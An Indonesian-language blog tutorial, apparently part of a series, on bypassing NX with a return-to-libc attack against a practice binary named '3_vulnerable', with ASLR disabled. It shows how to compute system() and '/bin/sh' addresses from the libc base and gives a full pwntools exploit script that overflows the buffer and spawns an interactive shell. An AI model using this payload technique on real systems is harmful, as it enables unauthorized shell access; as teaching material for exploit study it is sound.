Pada artikel sebelumnya, kita membahas bagaimana membypass NX menggunakan metode ROP. Namun, apabila binary yang ada tidak cukup besar untuk menghasilkan ROP gadget yang sesuai, maka metode ini tidak dapat digunakan. Alternatifnya, return address dapat dialihkan ke alamat libc (return to libc).
[binary]
ldd akan memberikan address libc yang ada pada 3_vulnerable, terletak pada 0xf7d38000. Address ini tidak akan berubah jika ASLR dalam keadaan disabled. Perbedaan dapat dilihat jika ASLR dinyalakan.
Alamat 0xf7d38000 akan disebut sebagai base address. Base address ini akan ditambahkan dengan offset dari fungsi yang ada pada libc, yang biasa digunakan dalam pembuatan payload adalah fungsi system(), read(), dll, selain itu kita juga harus mencari offset dari string dari /bin/sh.
Offset dari fungsi-fungsi diatas, tidak akan berubah, tetapi setiap versi dari libc yang dipakai memiliki offset yang berbeda. Tool ini dapat mempermudah untuk pencarian offset pada libc yang dipakai https://github.com/niklasb/libc-database
Maka untuk mendapatkan alamat system() pada saat diload adalah:
libc_system = base_address + offset_system
libc_binsh = base_address + offset_binsh
Payload yang akan dibuat kurang lebih seperti ini:
'A' * 76 | libc_system | dummy (BBBB) | libc_binsh
Di beberapa artikel dummy dapat diganti dengan exit().
from pwn import * #offset___libc_start_main_ret = 0x199a1 #offset_system = 0x0003d870 #offset_dup2 = 0x000e6f60 #offset_read = 0x000e6470 #offset_write = 0x000e6540 #offset_str_bin_sh = 0x17c968 #libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd9000) def main(): base_address = 0xf7dd9000 offset_system = 0x0003d870 offset_binsh = 0x17c968 libc_system = base_address + offset_system libc_binsh = base_address + offset_binsh payload = 'A' * 76 payload += p32(libc_system) payload += 'BBBB' payload += p32(libc_binsh) p = process('../Downloads/3_vulnerable') p.send(payload) p.interactive() if __name__ == '__main__': main()Kira-kira kode lengkapnya seperti diatas.
No comments:
Post a Comment